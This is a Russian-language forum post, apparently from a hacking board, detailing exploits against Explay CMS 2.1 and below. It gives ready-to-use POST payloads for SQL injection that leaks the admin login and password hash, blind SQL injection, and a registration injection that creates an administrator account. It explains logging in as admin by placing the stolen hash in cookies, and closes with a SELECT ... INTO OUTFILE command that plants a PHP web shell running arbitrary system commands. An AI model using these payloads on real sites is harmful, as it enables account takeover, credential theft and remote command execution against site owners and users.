Explay CMS 2.1 1) SQL injection Need: magic_qoutes=Off Вообщем уязвимый код приводить не буду. Опишу как заюзать. Для эксплуатации необходим зарегестрированный юзер (далее U1). А также еще один юзер(U2) добавленный в друзья. Для обоих юзеров вы должны знать их id. Хочу еще обратить внимание на то что при эксплуатации этой уязвимости создается два ПМ сообщения, первое отправляется U2 в нем будет написанно только Hello, а второе сообщение будет содержать в себе админские логин/хеш и отправленно оно будет вам в ПМ. Пакет к серверу составляем приблизительно вот такого типа: Code: [B]URL:[/B] http://explay/messages/write/ [B]POST: [/B]user=[id U2]&header=Hello',':)',NULL,'old'),('',[id U1],[id U1],'Хеш',(SELECT CONCAT(user_login,0x3a,user_password) FROM expl_users WHERE user_id=1),NULL,'new') -- dd&body=xxx&submit=1&body=xxx&submit=1 [B]COOKIE:[/B] [куки вашего юзера] 2) Blind SQL injection's Need: magic_qoutes=Off Их всего две штуки, для первой написанн эксплойт (смотрим в атаче) Пакет составлять так: Code: [B]URL:[/B] http://explay/feedback/ [B]POST:[/B] text=1&[email protected]&mail=1' AND 1=IF(2>1,1,0) -- d Либо для второй, но тут уже нужен зарегестрированный в системе юзер Code: [B]URL:[/B] http://explay/edit_profile/ [B]POST:[/B] name=1&save=1&email=1' OR 1=IF(1=1,1,0) -- d [B]COOKIE:[/B] [куки вашего юзера] 3) Создание администратора. Need: magic_qoutes=Off, register_globals=On Чтобы создать юзера с правами админа, при регистрации нового юзера, указываем еще одну переменную Code: [B]POST:[/B] nicq=1','','','','off','',0,0,'','off','','','','','','','','','','',''), ('','login','9addbf544119efa4a64223b649750a510f0d463f','name','admin','1','[email protected]','1','','','','off','',0,0,'','off','','','','','','','','','','','') -- d в итоге создастся два юзера, один из них будет с правами администратора. Для этой уязвимости написанн эксплойт (ацкей сплоент на чистом html), с прикольным интерфейсом, смотрим в атаче
[Explay CMS <= 2.1] SQL Injection [Explay CMS <= 2.1] SQL Injection Уязвимость позволяет получить хэш пароля любого пользователя. Экслуатация уязвимости возможна при отключённой PHP-директиве magic_quotes_gpc. Для получение пароля необходимо добавить статью (http://[explay]/my_articles/add/) с кодом специально сформированного SQL-запроса в поле art_body (то есть основной текст статьи). Код добавления новой статьи: modules/articles/mysql.class.php PHP: public function add_article ($art) { $this->db->query ("INSERT INTO ".DB_PEREFIX."_articles VALUES ( 0, '".$art['art_category']."', '".$art['art_header']."', '".$art['art_body']."', '".User::$properties['user_id']."', '".time()."', '".$art['art_comments']."', '', '', '".$art['art_publik']."', 'no', '".$art['art_visible']."', '".$art['art_tags']."', '0', '', '0', '".$art['auto_tag']."' )"); Составляем ядовитый "текст" статьи: PHP: aaaaa', (SELECT user_id FROM expl_users WHERE user_login='<UR_LOGIN>'), '1228445451', 'on', '', '', 'yes', 'no', 'on', (SELECT concat_ws(0x3a, user_login, user_password) FROM expl_users WHERE user_login='<USER'S_LOGIN>'), '0', '', '0', 'yes' )/* Подзапрос нужен для того, чтобы статья добавилась именно от нашего имени (так как узнать свой user_id не позволяет движок) В итоге выполнится вот такой запрос: PHP: INSERT INTO expl_articles VALUES ( 0, '', 'some_title', 'aaaaa', (SELECT user_id FROM expl_users WHERE user_login='<UR_LOGIN>'), '1228445451', 'on', '', '', 'yes', 'no', 'on', (SELECT concat_ws(0x3a, user_login, user_password) FROM expl_users WHERE user_login='<USER'S_LOGIN>'), '0', '', '0', 'yes' ) Результат вложенного запроса добавиться в виде "login:password" в поле Теги, например Но тут есть одна тонкость. Пароли могут шифроваться разными алгоритмами: PHP: function expl_hash($str) { if (function_exists('sha1')) return sha1($str); elseif (function_exists('mhash')) return bin2hex(mhash(MHASH_SHA1, $str)); else return md5($str); } Тип хеша лекго определить по длине строки. (MD5 - 32 байта, SHA1 - 40 байт). К великому счастью, в движке авторизация пользователя реализована только через Cookies, так что мы можем не брутить хэш, а просто создать куки login и pass с соответствующими значениями. Теперь мы админы. Getting shell Но это ещё не всё! Встроенный в админку интерфейс для выполнения произвольных SQL-запросов позволяет нам создать шелл (при условии включённого file_priv): PHP: SELECT '<?php system($_GET["cmd"]) ?>' INTO OUTFILE 'путь_к_движку/shell.php'
Тут мы должны получить свой собственный user_id, так как его необходимо указать при вставке, чтобы именно мы были автором статьи. Можно конечно и не указывать "WHERE user_login='<UR_LOGIN>'" и вписать к примеру единицу (user_id=1), но тогда автором будет сам админ =). <UR_LOGIN> - наш логин (не путать с именем!).